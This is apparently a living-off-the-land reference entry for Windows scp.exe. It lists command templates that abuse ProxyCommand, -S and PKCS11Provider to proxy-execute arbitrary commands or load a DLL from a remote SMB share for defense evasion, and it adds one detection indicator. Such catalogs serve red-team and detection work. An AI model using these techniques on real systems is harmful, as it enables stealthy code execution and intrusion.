scp.exe
Full path
C:\Windows\System32\OpenSSH\scp.exeCommands
Proxy execution of specified command, can be used as a defensive evasion.
scp.exe -o ProxyCommand="{CMD}" . localhost:.Spawns specified command from
scp.exe->ssh.exe, even if no SSH server is running on localhost (or any other address specified).os: Windows 10, Windows 11
Proxy execution of specified command, can be used as a defensive evasion.
scp.exe -S "{CMD}" . localhost:.Spawns specified command from
scp.exe->ssh.exe, even if no SSH server is running on localhost (or any other address specified).os: Windows 10, Windows 11
Performs indirect execution of a specified DLL from a remote share, can be used for defense evasion.
scp -o PKCS11Provider="{PATH_SMB:.dll}" . win@github.com:.Loads a DLL from an absolute path or SMB path into child process
ssh.exeby abusing thePKCS11Provideroption. The payload executes upon DLL load (DllMain) and requires exportingC_GetFunctionListto prevent premature termination byscp.exe.os: Windows 10, Windows 11
Detection
- IOC`scp.exe` executions referencing `ProxyCommand`.
Resources
acknowledgement: BinFault @binfault, Nir Chako (Pentera) @C_h4ck_0, Edo Maland @screetsec